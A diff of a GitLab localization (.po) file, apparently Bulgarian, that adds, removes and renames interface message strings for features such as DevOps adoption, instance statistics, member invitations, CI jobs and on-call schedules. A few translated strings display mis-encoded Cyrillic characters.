msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr "ТърÑене на файл"
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr "От Ñъздаването на проблема до внедрÑването в крайната верÑиÑ"
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr "ÐапуÑкане на групата"
msgid "Leave project"
msgstr "ÐапуÑкане на проекта"
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr "Ðе е налично"
@@ -18400,6 +18812,9 @@ msgstr "ÐÑма доÑтатъчно данни"
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr "ÐеуÑпешно изпълнение на Ñхема"
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr "Прилагане на заÑвка за Ñливане"
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr "Ðова бележка"
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr "Преназначаване на проблем"
@@ -18514,6 +18944,9 @@ msgstr "Преназначаване на заÑвка за Ñливане"
msgid "NotificationEvent|Reopen issue"
msgstr "Повторно отварÑне на проблем"
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr "УÑпешно изпълнение на Ñхема"
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
